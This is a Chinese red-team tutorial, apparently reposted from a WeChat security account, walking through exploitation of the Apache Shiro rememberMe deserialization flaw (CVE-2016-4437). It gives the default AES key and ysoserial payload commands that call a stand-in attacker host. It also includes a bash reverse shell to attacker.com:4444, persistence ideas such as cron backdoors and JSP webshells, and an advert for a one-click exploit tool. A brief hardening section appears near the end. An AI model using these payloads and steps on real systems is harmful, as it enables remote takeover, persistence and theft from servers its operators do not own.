Apache Shiro 框架漏洞利用全流程

admin 2025年4月10日19:10:41评论1 views字数 1966阅读6分33秒阅读模式

🥷 红队实战案例:Apache Shiro 框架漏洞利用全流程

🧩 一、识别目标使用了 Shiro 框架

🔍 目标访问行为识别

访问目标站点(如 http://target.com/login),响应头中出现如下字段:

Set-Cookie: rememberMe=deleteMe;

✅ 高危特征点:“rememberMe” 是 Shiro 框架的标志性 Cookie 名称,用于记住登录状态。

🔒 二、Shiro 记住我功能安全逻辑

Shiro 的 rememberMe 机制如下:

  1. 服务端设置 Cookie rememberMe
  2. 其中数据是 Java 对象序列化并加密后 的内容;
  3. 客户端每次带上该 Cookie,Shiro 会解密并反序列化;
  4. 若对象合法,自动登录用户。

⚠️ 如果 Shiro 配置中使用了默认密钥,攻击者可以伪造恶意序列化对象并触发 反序列化漏洞(RCE)

📌 三、确认是否存在 Shiro 反序列化漏洞(CVE-2016-4437)

🔬 检测流程

✅ 1. 使用默认 AES Key 检测(Shiro 1.2.4 默认使用 "kPH+bIxk5D2deZiIxcaaaA==")

我们生成恶意 payload,用默认 key 加密后写入 rememberMe

GET / HTTP/1.1Host: target.comCookie: rememberMe=<base64_encoded_payload>

如果服务器返回响应头中,再设置了一次 Cookie 为 rememberMe=deleteMe,说明 payload 解密失败,Shiro 认为非法,重置 Cookie。

❗ 但如果未重置 Cookie 或响应状态改变,就可能说明 key 是匹配的!

✅ 2. 使用 shiro_exploit_tool / ysoserial + 加密脚本 进行验证

java -jar ysoserial.jar CommonsBeanutils1 "ping attacker.com" > payload.ser

然后使用 Shiro 加密脚本生成 base64:

python shiro_payload_gen.py -k kPH+bIxk5D2deZiIxcaaaA== -i payload.ser

将 base64 数据写入 Cookie,监听是否有请求发回:

Cookie: rememberMe=<生成的值>

✅ 3. 使用高级反序列化链测试(如 ysoserial)

利用链 说明
CommonsBeanutils1 简单命令执行链,最常见
CommonsCollections1~6 强大链,适合各种反序列化攻击
Jdk7u21 适用于 JDK7 版本,命令执行链最强
Spring1 基于 Spring 框架的 RCE 链

通过这些工具,测试攻击是否成功。

🎯 四、漏洞利用:构造恶意序列化对象

利用链选择(ysoserial)

  • 通用链:CommonsBeanutils1 / CommonsCollections1~6 / Jdk7u21
  • 要根据目标的依赖情况选择能成功利用的链

生成 payload:

java -jar ysoserial.jar CommonsBeanutils1 "curl http://attacker.com/pwned" > exp.ser

加密 payload:

python shiro_payload_gen.py -k kPH+bIxk5D2deZiIxcaaaA== -i exp.ser

写入 Cookie 请求目标:

Cookie: rememberMe=<你的加密payload>

在监听服务器上看到回连,则说明成功触发了反序列化执行命令。

🧠 五、提权 + 持久化思路

成功执行命令后常见操作:

目标
方法
获得 Shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
内网探测
ip a

netstatnmapps aux
横向移动
查找配置文件、数据库连接、JWT 秘钥等
持久化
添加 cron 后门、写 JSP webshell、注入反向代理规则

🧱 六、安全加固建议(防守视角)

项目
建议
Shiro Key
不要使用默认密钥,使用随机强密钥
序列化
禁止使用 Java 原生序列化传输用户数据
检测
对 rememberMe Cookie 做异常行为监控
升级
使用 Shiro >= 1.4.2(修复已知反序列化链)
WAF
检测和拦截 base64 编码的异常 Cookie

✅ 七、总结攻击链

graph TD    A[发现 rememberMe] --> B[尝试默认密钥解密]    B --> C[成功识别加密密钥]    C --> D[生成反序列化 payload]    D --> E[加密 + Base64 编码]    E --> F[写入 Cookie 请求]    F --> G[触发反序列化执行命令]    G --> H[获得控制权限]
Apache Shiro 框架漏洞利用全流程
🔐 Shiro一键利用工具1300+ 密钥库 🔑,通过下面小程序中搜索 ‘Shiro’ 🔍 获取。
Apache Shiro 框架漏洞利用全流程

原文始发于微信公众号(季升安全):Apache Shiro 框架漏洞利用全流程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月10日19:10:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Shiro 框架漏洞利用全流程https://cn-sec.com/archives/3941177.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息